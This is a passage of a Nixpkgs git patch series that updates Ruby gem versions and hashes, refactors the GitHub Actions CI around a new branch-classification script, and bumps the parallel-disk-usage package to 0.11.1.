     platforms = [ ];
     source = {
       remotes = [ "https://rubygems.org" ];
-      sha256 = "19xaz5qmw0kg1rdsjh13vk7674bpcmjy6cnddx1cvl80vgkvjr22";
+      sha256 = "1qs7drxvyzk3dg22xgblc12lq5kww9hhj7vpn8ay3l42rasllf3r";
       type = "gem";
     };
-    version = "3.4.3";
+    version = "3.4.4";
   };
   digest-crc = {
     dependencies = [ "rake" ];
@@ -2211,10 +2212,10 @@ src: {
     platforms = [ ];
     source = {
       remotes = [ "https://rubygems.org" ];
-      sha256 = "1mls9g490k63rdmjc9shqshqzznfn1y21wawkxrwp2vvbk13jwqm";
+      sha256 = "0xbv450qj2bx0qz9l2pjrd3kc057y6bglc3na7a78zby8ssiwlyc";
       type = "gem";
     };
-    version = "2.12.2";
+    version = "2.13.1";
   };
   faraday-follow_redirects = {
     dependencies = [ "faraday" ];
@@ -2762,10 +2763,10 @@ src: {
     platforms = [ ];
     source = {
       remotes = [ "https://rubygems.org" ];
-      sha256 = "0kvv1idqscqh03wp6xcb5mi03j5hksbnn8dadcwpv2izm0srfv8r";
+      sha256 = "02p7ysnali576bpdivlgnx31h4zwmg7aggx4kwfck51npg2s0rcg";
       type = "gem";
     };
-    version = "17.8.4";
+    version = "18.1.0.pre.rc1";
   };
   gitlab = {
     dependencies = [
@@ -2856,13 +2857,16 @@ src: {
     platforms = [ ];
     source = {
       remotes = [ "https://rubygems.org" ];
-      sha256 = "1bshayyh9pb2rgb9qc82dc9fr1xkf4kxj10rd0lkjqxnbh7ppsxi";
+      sha256 = "0d5zrz5vgb8zrnri42awqfvcq9kfzlrc032nprknddpb9iagbsmr";
       type = "gem";
     };
-    version = "1.12.0";
+    version = "1.17.0";
   };
   gitlab-crystalball = {
-    dependencies = [ "git" ];
+    dependencies = [
+      "git"
+      "ostruct"
+    ];
     groups = [
       "development"
       "test"
@@ -2870,10 +2874,10 @@ src: {
     platforms = [ ];
     source = {
       remotes = [ "https://rubygems.org" ];
-      sha256 = "16mlrsd4lyvp9faqrnd7nmrl485wzrj2vp6y72x7f8wmsmqpivf4";
+      sha256 = "1a42qg2m7w0qn7as3zrc4v7lrxig532izi7yb2w8rbcwm114fcdx";
       type = "gem";
     };
-    version = "0.7.2";
+    version = "1.1.0";
   };
   gitlab-dangerfiles = {
     dependencies = [
@@ -2889,10 +2893,10 @@ src: {
     platforms = [ ];
     source = {
       remotes = [ "https://rubygems.org" ];
-      sha256 = "1cpiznkzlvsbanfcvnqdf0lxrzjd3i592d0j766xmr55mkc1jsr9";
+      sha256 = "162p00p59rxbhxglanzapl6qckc52q97s6hrf1p0ywnqhpv51h6m";
       type = "gem";
     };
-    version = "4.9.1";
+    version = "4.9.2";
   };
   gitlab-duo-workflow-service-client = {
     dependencies = [ "grpc" ];
@@ -2902,7 +2906,7 @@ src: {
       path = "${src}/vendor/gems/gitlab-duo-workflow-service-client";
       type = "path";
     };
-    version = "0.1";
+    version = "0.2";
   };
   gitlab-experiment = {
     dependencies = [
@@ -2944,10 +2948,10 @@ src: {
     platforms = [ ];
     source = {
       remotes = [ "https://rubygems.org" ];
-      sha256 = "0rh0bij1nk0c6agqg39p5qwhc93fdgriwqwnshgrkn66kwzs7ppk";
+      sha256 = "06rd3q4xznh483aqmg2llaaa946psagrxd6va8g9zm3q3k3fkj4i";
       type = "gem";
     };
-    version = "0.0.30";
+    version = "0.0.31";
   };
   gitlab-housekeeper = {
     dependencies = [
@@ -2990,10 +2994,10 @@ src: {
     platforms = [ ];
     source = {
       remotes = [ "https://rubygems.org" ];
-      sha256 = "075fasc3mv2l87l34cw5pw1vyf2ad254gsa9jpl4cqv3rx6hbfgj";
+      sha256 = "0lsz61cr7i3d72i6rxvbfqbq6f5anzbbmhmrmr7mprna4dy93d7q";
       type = "gem";
     };
-    version = "17.11.2";
+    version = "17.11.3";
   };
   gitlab-labkit = {
     dependencies = [
@@ -3152,10 +3156,10 @@ src: {
     platforms = [ ];
     source = {
       remotes = [ "https://rubygems.org" ];
-      sha256 = "1gip6bgsh6b284sjlz24ljydshsa9p5ikizwrmb82gnsc46dcsmk";
+      sha256 = "0b4908vic675qq1mh1i45vh5z9vdg1ynanxdbdzaazxvjkakdwzd";
       type = "gem";
     };
-    version = "0.26.1";
+    version = "0.29.1";
   };
   gitlab-security_report_schemas = {
     dependencies = [
@@ -3656,10 +3660,10 @@ src: {
     platforms = [ ];
     source = {
       remotes = [ "https://rubygems.org" ];
-      sha256 = "1afriizkvwwcyh0s0j1x9d9045pn4f767gpj5q49hicsqz8flq58";
+      sha256 = "1dsj349xm6jmd94xix8bgdn5m8jqqk9bsivlm9fll8ifa008ab0h";
       type = "gem";
     };
-    version = "3.25.7";
+    version = "3.25.8";
   };
   googleapis-common-protos = {
     dependencies = [
@@ -3685,10 +3689,10 @@ src: {
     platforms = [ ];
     source = {
       remotes = [ "https://rubygems.org" ];
-      sha256 = "152nfvcnj1i1gsphhs7mhxzd0wa9pjdjb0xhgb2bry16ag57djxf";
+      sha256 = "0zyh9pxsw4zwv3iissirwqnx98qzkywqf3bwdrai6zpwph34ndsy";
       type = "gem";
     };
-    version = "1.19.0";
+    version = "1.20.0";
   };
   googleauth = {
     dependencies = [
@@ -3882,10 +3886,10 @@ src: {
     platforms = [ ];
     source = {
       remotes = [ "https://rubygems.org" ];
-      sha256 = "11ink0ayf14qgs3msn5a7dpg49vm3ck2415r64nfk1i8xv286hsz";
+      sha256 = "02gakdhvpl777b41i8cgkrj7gk0jlq4fza9hjksp2r7ryji0vyjn";
       type = "gem";
     };
-    version = "1.63.0";
+    version = "1.72.0";
   };
   grpc-google-iam-v1 = {
     dependencies = [
@@ -4203,10 +4207,10 @@ src: {
     platforms = [ ];
     source = {
       remotes = [ "https://rubygems.org" ];
-      sha256 = "0v7s60abgwkahkqi4lf68hmz3j69jli3q25jsf9h1kvijif2lrbq";
+      sha256 = "0mbbjr774zxb2wcpbwc93l0i481bxk7ga5hpap76w3q1y9idvh9s";
       type = "gem";
     };
-    version = "0.22.0";
+    version = "0.23.1";
   };
   httpclient = {
     groups = [ "default" ];
@@ -4410,10 +4414,10 @@ src: {
     platforms = [ ];
     source = {
       remotes = [ "https://rubygems.org" ];
-      sha256 = "09645h5an19zc1i7wlmixszj8xxqb2zc8qlf8dmx39bxpas1l24b";
+      sha256 = "14xkw4lb6wwvbcwqkf6ds116sridk9c8yz6y3caw07vzpwdvcmn0";
       type = "gem";
     };
-    version = "1.6.0";
+    version = "1.6.1";
   };
   jira-ruby = {
     dependencies = [
@@ -4693,10 +4697,10 @@ src: {
     platforms = [ ];
     source = {
       remotes = [ "https://rubygems.org" ];
-      sha256 = "09m8m65iyk8d1y0g52srl7994c80f8ai33z8flbzhsjqr2wy17rh";
+      sha256 = "18msiw0b3krm9krxrahiladblh6pjpj395wcjjw2fvsimwyy7vk4";
       type = "gem";
     };
-    version = "1.11.5";
+    version = "1.11.13";
   };
   letter_opener = {
     dependencies = [ "launchy" ];
@@ -4838,15 +4842,16 @@ src: {
       "danger"
       "default"
       "development"
+      "monorepo"
       "test"
     ];
     platforms = [ ];
     source = {
       remotes = [ "https://rubygems.org" ];
-      sha256 = "05s008w9vy7is3njblmavrbdzyrwwc1fsziffdr58w9pwqj8sqfx";
+      sha256 = "00q2zznygpbls8asz5knjvvj2brr3ghmqxgr83xnrdj4rk3xwvhr";
       type = "gem";
     };
-    version = "1.6.6";
+    version = "1.7.0";
   };
   lograge = {
     dependencies = [
@@ -4878,10 +4883,10 @@ src: {
     platforms = [ ];
     source = {
       remotes = [ "https://rubygems.org" ];
-      sha256 = "07pfa5kgl7k2hxlzzn89qna6bmiyrxlchgbzi0885frsi08agrk1";
+      sha256 = "0dx316q03x6rpdbl610rdaj2vfd5s8fanixk21j4gv3h5f230nk5";
       type = "gem";
     };
-    version = "2.24.0";
+    version = "2.24.1";
   };
   lookbook = {
     dependencies = [
@@ -5561,6 +5566,7 @@ src: {
     dependencies = [
       "faraday"
       "jwt"
+      "logger"
       "multi_xml"
       "rack"
       "snaky_hash"
@@ -5570,10 +5576,10 @@ src: {
     platforms = [ ];
     source = {
       remotes = [ "https://rubygems.org" ];
-      sha256 = "1yzpaghh8kwzgmvmrlbzf36ks5s2hf34rayzw081dp2jrzprs7xj";
+      sha256 = "0hisvj04523xsq0cmaw2lzwjj2pgwvkxfs6c9dfqh8cdb5wjc4wg";
       type = "gem";
     };
-    version = "2.0.9";
+    version = "2.0.10";
   };
   observer = {
     groups = [
@@ -5640,10 +5646,10 @@ src: {
     platforms = [ ];
     source = {
       remotes = [ "https://rubygems.org" ];
-      sha256 = "0z1xw7xm7xkxnslhxqvfzvv5f1q1cl40niwvaxny2cg3fkcvw9kz";
+      sha256 = "1cajn3ylwhby1x51d9hbchm964qwb5zp63f7sfdm55n85ffn1ara";
       type = "gem";
     };
-    version = "3.16.10";
+    version = "3.16.11";
   };
   oj-introspect = {
     dependencies = [ "oj" ];
@@ -6523,10 +6529,10 @@ src: {
     platforms = [ ];
     source = {
       remotes = [ "https://rubygems.org" ];
-      sha256 = "1vy7sjs2pgz4i96v5yk9b7aafbffnvq7nn419fgvw55qlavsnsyq";
+      sha256 = "0c719bfgcszqvk9z47w2p8j2wkz5y35k48ywwas5yxbbh3hm3haa";
       type = "gem";
     };
-    version = "1.26.3";
+    version = "1.27.0";
   };
   parser = {
     dependencies = [
@@ -6792,10 +6798,10 @@ src: {
     platforms = [ ];
     source = {
       remotes = [ "https://rubygems.org" ];
-      sha256 = "0120712ar9cmjgyqrihf36pcslx8m73gp0l86dfw8yvn8gs9xzr0";
+      sha256 = "0i0l7v26vq8k6wvsfk9fzpswilbg4214d9p9xc87kmswl1kwxm26";
       type = "gem";
     };
-    version = "1.2.9";
+    version = "1.2.10";
   };
   pry = {
     dependencies = [
@@ -6904,10 +6910,10 @@ src: {
     platforms = [ ];
     source = {
       remotes = [ "https://rubygems.org" ];
-      sha256 = "1wl9q4fl8gvhwdpfxghx6jdqi4508287pcgiwi96sdbzmdfbglcl";
+      sha256 = "11xd3207k5rl6bz0qxhcb3zcr941rhx7ig2f19gxxmdk7s3hcp7j";
       type = "gem";
     };
-    version = "6.5.0";
+    version = "6.6.0";
   };
   pyu-ruby-sasl = {
     groups = [ "default" ];
@@ -7659,10 +7665,10 @@ src: {
     platforms = [ ];
     source = {
       remotes = [ "https://rubygems.org" ];
-      sha256 = "1pchwrkr0994v7mh054lcp0na3bk3mj2sk0dc33bn6bhxrnirj1a";
+      sha256 = "18v8if3jix029rr3j8iwisv73facw223353n0h7avl39ibxk6hh3";
       type = "gem";
     };
-    version = "4.5.1";
+    version = "4.5.2";
   };
   rqrcode = {
     dependencies = [
@@ -7845,10 +7851,10 @@ src: {
     platforms = [ ];
     source = {
       remotes = [ "https://rubygems.org" ];
-      sha256 = "1ycjggcmzbgrfjk04v26b43c3fj5jq2qic911qk7585wvav2qaxd";
+      sha256 = "0cg3ay2jin7jv20carhx3icv3gnwka0hqcr15zcjy7i1xnmwqpg1";
       type = "gem";
     };
-    version = "7.0.1";
+    version = "7.1.1";
   };
   rspec-retry = {
     dependencies = [ "rspec-core" ];
@@ -8082,10 +8088,10 @@ src: {
     platforms = [ ];
     source = {
       remotes = [ "https://rubygems.org" ];
-      sha256 = "17z0hi70s201gxw251hgv4r9zmfky2jlmp3pwma7hixsfpkx6gay";
+      sha256 = "0s97zck9v2c1awk4lbj5ccsnn6p0jp018mrq12fvh5hp00sn3586";
       type = "gem";
     };
-    version = "0.23.15";
+    version = "0.23.20";
   };
   ruby-lsp-rails = {
     dependencies = [ "ruby-lsp" ];
@@ -8104,10 +8110,10 @@ src: {
     platforms = [ ];
     source = {
       remotes = [ "https://rubygems.org" ];
-      sha256 = "1h2rnylicx9cw2agrxzgxcr0bl2ac8iy99sz7w657hbfrpsyv0p9";
+      sha256 = "1lv886262vzmjpgcd0759zn86yaidjn1wznnscn75saj4d81bafj";
       type = "gem";
     };
-    version = "0.1.22";
+    version = "0.1.23";
   };
   ruby-magic = {
     dependencies = [ "mini_portile2" ];
@@ -8206,10 +8212,10 @@ src: {
     platforms = [ ];
     source = {
       remotes = [ "https://rubygems.org" ];
-      sha256 = "0grps9197qyxakbpw02pda59v45lfgbgiyw48i0mq9f2bn9y6mrz";
+      sha256 = "05an0wz87vkmqwcwyh5rjiaavydfn5f4q1lixcsqkphzvj7chxw5";
       type = "gem";
     };
-    version = "2.3.2";
+    version = "2.4.1";
   };
   rugged = {
     groups = [
@@ -8352,10 +8358,10 @@ src: {
     platforms = [ ];
     source = {
       remotes = [ "https://rubygems.org" ];
-      sha256 = "1q5nbszbxz566yzyiv0a4lvfk56q89k0lk4mqp6wyddrc2nz88c8";
+      sha256 = "1zlamvlgszczfx2f2v1b34q0lka15cqj46krwb4ymgl6nlkxznr0";
       type = "gem";
     };
-    version = "4.27.0";
+    version = "4.32.0";
   };
   semver_dialects = {
     dependencies = [
@@ -8687,10 +8693,10 @@ src: {
     platforms = [ ];
     source = {
       remotes = [ "https://rubygems.org" ];
-      sha256 = "0mkc1fxz4anv7fcq9jn26dc5ppwriand778f9dklzrpgq9pga8py";
+      sha256 = "1q40v3xrx8zzcpk84mcb4f80zc49vp98pphlffb5w20sa760a9w4";
       type = "gem";
     };
-    version = "0.54.2";
+    version = "0.54.4";
   };
   solargraph-rspec = {
     dependencies = [ "solargraph" ];
@@ -9643,10 +9649,10 @@ src: {
     platforms = [ ];
     source = {
       remotes = [ "https://rubygems.org" ];
-      sha256 = "104s7p4zp5yvf0bvbwd9mqmnkgz2z89h4hbvxi8pzd8d08c9a03b";
+      sha256 = "0270m29n7mq9yq4xnjzryzr6jxf292ahjn9fzywm2rg3rdz7cr59";
       type = "gem";
     };
-    version = "1.1.0";
+    version = "1.1.8";
   };
   version_sorter = {
     groups = [ "default" ];
@@ -9671,10 +9677,10 @@ src: {
     platforms = [ ];
     source = {
       remotes = [ "https://rubygems.org" ];
-      sha256 = "0p6z21kqz05966l77rfj7hdmhb6drld7qaxdbx4qawwylay7fnkz";
+      sha256 = "0aw962shs2x52dy1vhzkw1qc0b5vxmgaab6lld7hggrqkr5ysbrw";
       type = "gem";
     };
-    version = "3.21.0";
+    version = "3.23.2";
   };
   virtus = {
     dependencies = [
@@ -9807,10 +9813,10 @@ src: {
     platforms = [ ];
     source = {
       remotes = [ "https://rubygems.org" ];
-      sha256 = "13hrfja9as50ymbzsmlqsnv3ijirnf6mini21y1qq04793y26g2p";
+      sha256 = "08v374yrqqhjj3xjzmvwnv3yz21r22kn071yr0i67gmwaf9mv7db";
       type = "gem";
     };
-    version = "3.25.0";
+    version = "3.25.1";
   };
   webrick = {
     groups = [
diff --git a/pkgs/development/ruby-modules/gem-config/default.nix b/pkgs/development/ruby-modules/gem-config/default.nix
index c1cd72394c8a..2e1f170a6a25 100644
--- a/pkgs/development/ruby-modules/gem-config/default.nix
+++ b/pkgs/development/ruby-modules/gem-config/default.nix
@@ -492,10 +492,11 @@ in
           dontBuilt = true;
           installPhase = ''
             cp -R ext/fast_mmaped_file_rs $out
+            rm $out/Cargo.lock
             cp Cargo.lock $out
           '';
         };
-        hash = "sha256-KVbmDAa9EFwTUTHPF/8ZzycbieMhAuiidiz5rqGIKOo=";
+        hash = "sha256-mukk+tWWeG62q4GcDzkk8TyxVsDjShz30wEj82cElt4=";
       };
 
       nativeBuildInputs = [

From 9a42b59630cece1fd8ba4e3c267dbbde2914b1e1 Mon Sep 17 00:00:00 2001
From: Wolfgang Walther <walther@technowledgy.de>
Date: Fri, 20 Jun 2025 12:41:29 +0200
Subject: [PATCH 1441/4511] workflows/pr: refactor base/head branch decision
 making

Some jobs purposefully only run on certain base or head branches. By
centralizing the logic, parts of it can easily be re-used later. Also,
this gives them an explicit name and thus makes them easier to
understand.

(cherry picked from commit 7763be5a804630c4a0edc7c1463e3d3562149da7)
---
 .github/workflows/build.yml  |  7 ++--
 .github/workflows/check.yml  | 11 ++++---
 .github/workflows/labels.yml | 25 ++++-----------
 .github/workflows/pr.yml     | 31 +++++++++++++++++-
 ci/.editorconfig             |  4 +++
 ci/README.md                 | 29 +++++++++++++++++
 ci/supportedBranches.js      | 62 ++++++++++++++++++++++++++++++++++++
 7 files changed, 143 insertions(+), 26 deletions(-)
 create mode 100644 ci/.editorconfig
 create mode 100755 ci/supportedBranches.js

diff --git a/.github/workflows/build.yml b/.github/workflows/build.yml
index 594081924604..20600d9d9a31 100644
--- a/.github/workflows/build.yml
+++ b/.github/workflows/build.yml
@@ -3,6 +3,9 @@ name: Build
 on:
   workflow_call:
     inputs:
+      baseBranch:
+        required: true
+        type: string
       mergedSha:
         required: true
         type: string
@@ -63,7 +66,7 @@ jobs:
       - name: Build NixOS manual
         if: |
           contains(matrix.builds, 'manual-nixos') && !cancelled() &&
-          (github.base_ref == 'master' || startsWith(github.base_ref, 'release-'))
+          contains(fromJSON(inputs.baseBranch).type, 'primary')
         run: nix-build untrusted/ci -A manual-nixos --argstr system ${{ matrix.system }} --out-link nixos-manual
 
       - name: Build Nixpkgs manual
@@ -81,7 +84,7 @@ jobs:
       - name: Upload NixOS manual
         if: |
           contains(matrix.builds, 'manual-nixos') && !cancelled() &&
-          (github.base_ref == 'master' || startsWith(github.base_ref, 'release-'))
+          contains(fromJSON(inputs.baseBranch).type, 'primary')
         uses: actions/upload-artifact@ea165f8d65b6e75b540449e92b4886f43607fa02 # v4.6.2
         with:
           name: nixos-manual-${{ matrix.system }}
diff --git a/.github/workflows/check.yml b/.github/workflows/check.yml
index efe0c0c99705..b2d304411bb5 100644
--- a/.github/workflows/check.yml
+++ b/.github/workflows/check.yml
@@ -2,6 +2,10 @@ name: Check
 
 on:
   workflow_call:
+    inputs:
+      baseBranch:
+        required: true
+        type: string
 
 permissions: {}
 
@@ -12,9 +16,7 @@ defaults:
 jobs:
   no-channel-base:
     name: no channel base
-    if: |
-      startsWith(github.base_ref, 'nixos-') ||
-      startsWith(github.base_ref, 'nixpkgs-')
+    if: contains(fromJSON(inputs.baseBranch).type, 'channel')
     runs-on: ubuntu-24.04-arm
     steps:
       - run: |
@@ -29,8 +31,7 @@ jobs:
   cherry-pick:
     if: |
       github.event_name == 'pull_request' ||
-      startsWith(github.base_ref, 'release-') ||
-      (startsWith(github.base_ref, 'staging-') && github.base_ref != 'staging-next')
+      fromJSON(inputs.baseBranch).stable
     permissions:
       pull-requests: write
     runs-on: ubuntu-24.04-arm
diff --git a/.github/workflows/labels.yml b/.github/workflows/labels.yml
index c0ec74731326..262a050797b8 100644
--- a/.github/workflows/labels.yml
+++ b/.github/workflows/labels.yml
@@ -9,6 +9,10 @@ on:
   schedule:
     - cron: '07,17,27,37,47,57 * * * *'
   workflow_call:
+    inputs:
+      headBranch:
+        required: true
+        type: string
   workflow_dispatch:
     inputs:
       updatedWithin:
@@ -275,12 +279,7 @@ jobs:
         name: Labels from touched files
         if: |
           github.event_name == 'pull_request_target' &&
-          (github.event.pull_request.head.repo.owner.login != 'NixOS' || !(
-            github.head_ref == 'haskell-updates' ||
-            github.head_ref == 'python-updates' ||
-            github.head_ref == 'staging-next' ||
-            startsWith(github.head_ref, 'staging-next-')
-          ))
+          !contains(fromJSON(inputs.headBranch).type, 'development')
         with:
           repo-token: ${{ secrets.GITHUB_TOKEN }}
           configuration-path: .github/labeler.yml # default
@@ -290,12 +289,7 @@ jobs:
         name: Labels from touched files (no sync)
         if: |
           github.event_name == 'pull_request_target' &&
-          (github.event.pull_request.head.repo.owner.login != 'NixOS' || !(
-            github.head_ref == 'haskell-updates' ||
-            github.head_ref == 'python-updates' ||
-            github.head_ref == 'staging-next' ||
-            startsWith(github.head_ref, 'staging-next-')
-          ))
+          !contains(fromJSON(inputs.headBranch).type, 'development')
         with:
           repo-token: ${{ secrets.GITHUB_TOKEN }}
           configuration-path: .github/labeler-no-sync.yml
@@ -308,12 +302,7 @@ jobs:
         # the backport labels.
         if: |
           github.event_name == 'pull_request_target' &&
-          (github.event.pull_request.head.repo.owner.login == 'NixOS' && (
-            github.head_ref == 'haskell-updates' ||
-            github.head_ref == 'python-updates' ||
-            github.head_ref == 'staging-next' ||
-            startsWith(github.head_ref, 'staging-next-')
-          ))
+          contains(fromJSON(inputs.headBranch).type, 'development')
         with:
           repo-token: ${{ secrets.GITHUB_TOKEN }}
           configuration-path: .github/labeler-development-branches.yml
diff --git a/.github/workflows/pr.yml b/.github/workflows/pr.yml
index 368ede03ffe7..45d7c1121108 100644
--- a/.github/workflows/pr.yml
+++ b/.github/workflows/pr.yml
@@ -22,6 +22,8 @@ jobs:
   prepare:
     runs-on: ubuntu-24.04-arm
     outputs:
+      baseBranch: ${{ steps.branches.outputs.base }}
+      headBranch: ${{ steps.branches.outputs.head }}
       mergedSha: ${{ steps.get-merge-commit.outputs.mergedSha }}
       targetSha: ${{ steps.get-merge-commit.outputs.targetSha }}
       systems: ${{ steps.systems.outputs.systems }}
@@ -30,6 +32,7 @@ jobs:
         with:
           sparse-checkout: |
             .github/actions
+            ci/supportedBranches.js
             ci/supportedSystems.json
       - name: Check if the PR can be merged and get the test merge commit
         uses: ./.github/actions/get-merge-commit
@@ -40,12 +43,35 @@ jobs:
         run: |
           echo "systems=$(jq -c <ci/supportedSystems.json)" >> "$GITHUB_OUTPUT"
 
+      - name: Determine branch type
+        id: branches
+        uses: actions/github-script@60a0d83039c74a4aee543508d2ffcb1c3799cdea # v7.0.1
+        with:
+          script: |
+            const { classify } = require('./ci/supportedBranches.js')
+            const { base, head } = context.payload.pull_request
+
+            const baseClassification = classify(base.ref)
+            core.setOutput('base', baseClassification)
+            core.info('base classification:', baseClassification)
+
+            const headClassification =
+              (base.repo.full_name == head.repo.full_name) ?
+              classify(head.ref) :
+              // PRs from forks are always considered WIP.
+              { type: ['wip'] }
+            core.setOutput('head', headClassification)
+            core.info('head classification:', headClassification)
+
   check:
     name: Check
+    needs: [prepare]
     uses: ./.github/workflows/check.yml
     permissions:
       # cherry-picks
       pull-requests: write
+    with:
+      baseBranch: ${{ needs.prepare.outputs.baseBranch }}
 
   lint:
     name: Lint
@@ -71,11 +97,13 @@ jobs:
 
   labels:
     name: Labels
-    needs: [eval]
+    needs: [prepare, eval]
     uses: ./.github/workflows/labels.yml
     permissions:
       issues: write
       pull-requests: write
+    with:
+      headBranch: ${{ needs.prepare.outputs.headBranch }}
 
   reviewers:
     name: Reviewers
@@ -92,6 +120,7 @@ jobs:
     secrets:
       CACHIX_AUTH_TOKEN: ${{ secrets.CACHIX_AUTH_TOKEN }}
     with:
+      baseBranch: ${{ needs.prepare.outputs.baseBranch }}
       mergedSha: ${{ needs.prepare.outputs.mergedSha }}
 
   # This job's only purpose is to serve as a target for the "Required Status Checks" branch ruleset.
diff --git a/ci/.editorconfig b/ci/.editorconfig
new file mode 100644
index 000000000000..180d0765eed9
--- /dev/null
+++ b/ci/.editorconfig
@@ -0,0 +1,4 @@
+# TODO: Move to top-level via staging PR
+[*.js]
+indent_style = space
+indent_size = 2
diff --git a/ci/README.md b/ci/README.md
index 66fb707ebec5..7df3b1533e59 100644
--- a/ci/README.md
+++ b/ci/README.md
@@ -20,3 +20,32 @@ Arguments:
 
 - `BASE_BRANCH`: The base branch to use, e.g. master or release-24.05
 - `REPOSITORY`: The repository from which to fetch the base branch. Defaults to <https://github.com/NixOS/nixpkgs.git>.
+
+# Branch classification
+
+For the purposes of CI, branches in the NixOS/nixpkgs repository are classified as follows:
+
+- **Channel** branches
+  - `nixos-` or `nixpkgs-` prefix
+  - Are only updated from `master` or `release-` branches, when hydra passes.
+  - Otherwise not worked on, Pull Requests are not allowed.
+  - Long-lived, no deletion, no force push.
+- **Primary development** branches
+  - `release-` prefix and `master`
+  - Pull Requests required.
+  - Long-lived, no deletion, no force push.
+- **Secondary development** branches
+  - `staging-` prefix, `haskell-updates` and `python-updates`
+  - Pull Requests normally required, except when merging development branches into each other.
+  - Long-lived, no deletion, no force push.
+- **Work-In-Progress** branches
+  - `backport-`, `revert-` and `wip-` prefixes.
+  - Deprecated: All other branches, not matched by channel/development.
+  - Pull Requests are optional.
+  - Short-lived, force push allowed, deleted after merge.
+
+Some branches also have a version component, which is either `unstable` or `YY.MM`.
+
+`ci/supportedBranches.js` is a script imported by CI to classify the base and head branches of a Pull Request.
+This classification will then be used to skip certain jobs.
+This script can also be run locally to print basic test cases.
diff --git a/ci/supportedBranches.js b/ci/supportedBranches.js
new file mode 100755
index 000000000000..a8579f96df99
--- /dev/null
+++ b/ci/supportedBranches.js
@@ -0,0 +1,62 @@
+#!/usr/bin/env nix-shell
+/*
+#!nix-shell -i node -p nodejs
+*/
+
+const typeConfig = {
+  master: ['development', 'primary'],
+  release: ['development', 'primary'],
+  staging: ['development', 'secondary'],
+  'staging-next': ['development', 'secondary'],
+  'haskell-updates': ['development', 'secondary'],
+  'python-updates': ['development', 'secondary'],
+  nixos: ['channel'],
+  nixpkgs: ['channel'],
+}
+
+function split(branch) {
+  return { ...branch.match(/(?<prefix>.+?)(-(?<version>\d{2}\.\d{2}|unstable)(?:-(?<suffix>.*))?)?$/).groups }
+}
+
+function classify(branch) {
+  const { prefix, version } = split(branch)
+  return {
+    stable: (version ?? 'unstable') !== 'unstable',
+    type: typeConfig[prefix] ?? [ 'wip' ]
+  }
+}
+
+module.exports = { classify }
+
+// If called directly via CLI, runs the following tests:
+if (!module.parent) {
+  console.log('split(branch)')
+  function testSplit(branch) {
+    console.log(branch, split(branch))
+  }
+  testSplit('master')
+  testSplit('release-25.05')
+  testSplit('staging-next')
+  testSplit('staging-25.05')
+  testSplit('staging-next-25.05')
+  testSplit('nixpkgs-25.05-darwin')
+  testSplit('nixpkgs-unstable')
+  testSplit('haskell-updates')
+  testSplit('backport-123-to-release-25.05')
+
+  console.log('')
+
+  console.log('classify(branch)')
+  function testClassify(branch) {
+    console.log(branch, classify(branch))
+  }
+  testClassify('master')
+  testClassify('release-25.05')
+  testClassify('staging-next')
+  testClassify('staging-25.05')
+  testClassify('staging-next-25.05')
+  testClassify('nixpkgs-25.05-darwin')
+  testClassify('nixpkgs-unstable')
+  testClassify('haskell-updates')
+  testClassify('backport-123-to-release-25.05')
+}

From e9f22139fa3329741f2b503a23af99e150dd25ab Mon Sep 17 00:00:00 2001
From: Wolfgang Walther <walther@technowledgy.de>
Date: Fri, 20 Jun 2025 12:56:26 +0200
Subject: [PATCH 1442/4511] workflows/{check,reviewers}: don't run on PRs from
 secondary development branches

It makes no sense to check cherry picks or request reviewers on PRs from
staging-next to master, the same on backbranches or for haskell-updates
into staging.

(cherry picked from commit a3ce5970e073eba9afcdd0ff4174d383ee3fe64e)
---
 .github/workflows/check.yml | 5 ++++-
 .github/workflows/pr.yml    | 5 ++++-
 2 files changed, 8 insertions(+), 2 deletions(-)

diff --git a/.github/workflows/check.yml b/.github/workflows/check.yml
index b2d304411bb5..d77bbceb07f1 100644
--- a/.github/workflows/check.yml
+++ b/.github/workflows/check.yml
@@ -6,6 +6,9 @@ on:
       baseBranch:
         required: true
         type: string
+      headBranch:
+        required: true
+        type: string
 
 permissions: {}
 
@@ -31,7 +34,7 @@ jobs:
   cherry-pick:
     if: |
       github.event_name == 'pull_request' ||
-      fromJSON(inputs.baseBranch).stable
+      (fromJSON(inputs.baseBranch).stable && !contains(fromJSON(inputs.headBranch).type, 'development'))
     permissions:
       pull-requests: write
     runs-on: ubuntu-24.04-arm
diff --git a/.github/workflows/pr.yml b/.github/workflows/pr.yml
index 45d7c1121108..4837ae5f1fc5 100644
--- a/.github/workflows/pr.yml
+++ b/.github/workflows/pr.yml
@@ -72,6 +72,7 @@ jobs:
       pull-requests: write
     with:
       baseBranch: ${{ needs.prepare.outputs.baseBranch }}
+      headBranch: ${{ needs.prepare.outputs.headBranch }}
 
   lint:
     name: Lint
@@ -108,7 +109,9 @@ jobs:
   reviewers:
     name: Reviewers
     needs: [prepare, eval]
-    if: needs.prepare.outputs.targetSha
+    if: |
+      needs.prepare.outputs.targetSha &&
+      !contains(fromJSON(needs.prepare.outputs.headBranch).type, 'development')
     uses: ./.github/workflows/reviewers.yml
     secrets:
       OWNER_APP_PRIVATE_KEY: ${{ secrets.OWNER_APP_PRIVATE_KEY }}

From bef5bf4c3f4e4deebc3706ff94ba83ac68205b0f Mon Sep 17 00:00:00 2001
From: "R. Ryantm" <ryantm-bot@ryantm.com>
Date: Fri, 20 Jun 2025 19:12:07 +0000
Subject: [PATCH 1443/4511] parallel-disk-usage: 0.11.0 -> 0.11.1

(cherry picked from commit b715645912bf630256df3cb379277d3b24a2bee7)
---
 pkgs/by-name/pa/parallel-disk-usage/package.nix | 6 +++---
 1 file changed, 3 insertions(+), 3 deletions(-)

diff --git a/pkgs/by-name/pa/parallel-disk-usage/package.nix b/pkgs/by-name/pa/parallel-disk-usage/package.nix
index 27bef6cd7045..6075ee223d04 100644
--- a/pkgs/by-name/pa/parallel-disk-usage/package.nix
+++ b/pkgs/by-name/pa/parallel-disk-usage/package.nix
@@ -5,17 +5,17 @@
 }:
 rustPlatform.buildRustPackage rec {
   pname = "parallel-disk-usage";
-  version = "0.11.0";
+  version = "0.11.1";
 
   src = fetchFromGitHub {
     owner = "KSXGitHub";
     repo = "parallel-disk-usage";
     rev = version;
-    hash = "sha256-0SK7v5xKMPuukyYKaGk13PE3WygHginjnyoatkA5xFQ=";
+    hash = "sha256-yjNz51L/r1jqgeO0qhe8uR4Pn52acle+EmurZqVpWfI=";
   };
 
   useFetchCargoVendor = true;
-  cargoHash = "sha256-mmR5avrzqkOvitLrc3XP+1Z7TbLeSGifDP7c3MwghO4=";
+  cargoHash = "sha256-v+cJ1Hw4cae/8A1MpHbIfGRVamI58byqfBLNCKKAHWk=";
 
   meta = with lib; {
